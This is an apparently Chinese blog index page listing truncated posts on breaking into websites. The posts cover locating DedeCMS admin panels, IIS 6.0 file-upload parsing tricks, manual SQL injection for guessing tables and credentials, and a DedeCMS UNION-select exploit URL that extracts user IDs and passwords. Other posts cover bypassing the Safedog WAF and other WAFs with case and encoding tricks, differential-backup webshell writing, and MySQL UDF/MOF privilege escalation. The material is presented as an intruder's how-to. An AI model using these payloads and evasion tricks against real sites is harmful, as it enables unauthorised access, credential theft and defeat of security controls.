455575834的博客_注入知识

dede 漏洞攻击

一、dedecms找后台1.include/dialog/select_soft.php文件可以爆出DEDECMS的后台,以前的老板本可以跳过登陆验证直接访问,无需管理员帐号,新版本的就直接转向了后台.2.include/dialog/config.php会爆出后台管理路径3.include/dialog/select_soft.php?activepath=/include/FCKeditor

漏洞

DEDECMS

原创 2015-05-07 16:34:04 2350 阅读

关于fck编辑器

先看版本如果是iis6.0 上传两次 1.asp;.jpg 或者通过创建1.asp目录（有方法可以试着突破点变下画线）或者直接上传 1.asp;jpg

图片

网站

编辑器

原创 2015-05-07 16:33:25 723 阅读

正确的手工入侵方法

正确的手工入侵方法1.判断有无注入点' ; and 1=1 and 1=22.猜表: 常见的表:admin adminuser user pass password 等..and 0<>(select count(*) from *)and 0<>(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目如果遇到0<

密码

password

count

admin

原创 2015-05-07 16:32:07 1009 阅读 2收藏

秒杀安全狗的经验总结

过安全狗主要过哪几方面：1.过注入2.过大马被阻拦访问3.过菜刀连接一句话被拦截4.过1.asp;.jpg这样的文件其他我没遇到了。。现在一点一点讲：1.过注入方法一：a.asp?aaa=%00&id=sql语句方法二： a.asp?id=sql语句里面把安全过滤的加个%l 比如： un%aion sel%aect 1,2,3,4 fr%aom admin2.过大马被阻拦访

sql语句

保密

秒杀

原创 2015-05-07 16:31:15 1402 阅读 1收藏

SQL注入中的WAF绕过技术

1.大小写绕过这个大家都很熟悉，对于一些太垃圾的WAF效果显著，比如拦截了union，那就使用Union UnIoN等等绕过。2.简单编码绕过比如WAF检测关键字，那么我们让他检测不到就可以了。比如检测union，那么我们就用%55也就是U的16进制编码来代替U，union写成 %55nION，结合大小写也可以绕过一些WAF，你可以随意替换一个或几个都可以。也还有大家在Mysql注入中比如表名或是

技术

检测

关键字

影响

原创 2015-05-07 16:30:33 866 阅读 1收藏

dedecms站找后台的一些经验

首先：注入exp有时候有些 /plus/目录换成了 /plugins目录/plugins/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33

dedecms

keyword

原创 2015-05-07 16:27:35 1336 阅读 1收藏

IIS 6.0/7.0/7.5、Nginx、Apache 等服务器解析漏洞总结

IIS 6.0 目录解析：/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码IIS6.0 会将 xx.jpg 解析为 asp 文件。后缀解析：/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)IIS6.0 都会把此类后缀文件成功解析为 asp 文件。（站长评论：IIS6.0解析漏洞的成因，可以查阅罗哥写的一

Windows

文本文件

执行文件

原创 2015-05-07 16:26:24 1416 阅读 1收藏

中转注入

工具：注入中转生成器 asp调试工具啊D注入工具百度搜索关键词 inurl:ArticleShow.asp?ArticleID=http://www.gqfxy.com/ArticleShow.asp?ArticleID=124注入地址常规的注入试下提交单引号打开中转工具，按照下放这样的填。最后点击生成。生成这样的文件，然后运行这是搭建本地网站，运行

关键词

MD5加密

生成器

单引号

百度搜索

原创 2014-06-10 22:49:54 852 阅读 1收藏

DB权限差异备份

一、差异备份的条件：1、要有列目录的权限(能列目录当然不能低于DB_owner)2、HTTP500错误不是自定义。可能大家不明白这是什么意思。3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。4、数据量不能太大，太大了没法在IE打开。二、差异备份的步骤：第一步：;declare @a sysname,@s varchar(4000) selec

数据库

database

htttp

原创 2014-05-21 21:27:54 885 阅读

网站注入数据判断

网站数据库，就是动态网站存放网站数据的空间。也称数据库空间。现大多网站都是由ASP、PHP开发的动态网站数据是有专门的一个数据库来存放。网站数据可以通过网站后台，直接发布到网站数据库，网站则把这些数据进行调用。网站数据库根据，网站的大小，数据的多少，决定选用，SQL 或者ACCESE数据库。ACCESSS更适合一般的企业网站，因为开发技术简单，而且在数据量不是很大

access

企业网站

SQL数据库

成本

数据库空间

转载精选 2014-05-19 10:18:45 735 阅读

access注入语句

先猜表：and exists (select *from 表名) and ''='' and exists(select * from admin) and ''=' 显示正常，说明有admin表。下面来猜字段' and exists(select 段名 from admin)and ''='' and exists(select name from admin) and ''='

加密

access

admin

二分法

原创 2014-05-18 21:43:36 715 阅读

udf与mof

1、Select version(); 查看数据库版本小于5.0以下的要导出到c:\windows\ 或者c:\windows\system32目录下5.1必须要导出到mysql安装目录下的lib\plugin目录下 2、select @@basedir();查看UDF.DLL文件路径3、create table&

convert

windows

version

function

returns

原创 2014-05-16 10:29:06 1540 阅读

注入点判断

注入简单来说就是利用SQL语句在外部对SQL数据库进行查询，更新等动作。利用网站链接地址后面提交SQL语句可执行的称之为注入点注入点判断单引号判断http://www.xxx.com/xxx.asp?id=10’如果出现错误提示，则该网站可能就存在注入漏洞。and判断http://www.xxx.com/xxx.asp?id=10and 1=1这个条件永远都是真的，所以当然返

网站

SQL数据库

单引号

链接地址

错那

原创 2014-05-16 10:19:28 1126 阅读

注入类型

1、数字型注入点形如HTTP://*******?ID=11 这类型的注入参数是数字，因此称为数字型注入点语句：and 1=1 ;and 1=2结果:分别返回不同的页面,说明存在注入漏洞.分析：and 的意思是“和”如果没有过滤我们的语句，and 1=1就会被代入SQL查询语句进行查询，如果and前后的两条语句都是真的话就不会出错，但如果

程序

关键字

search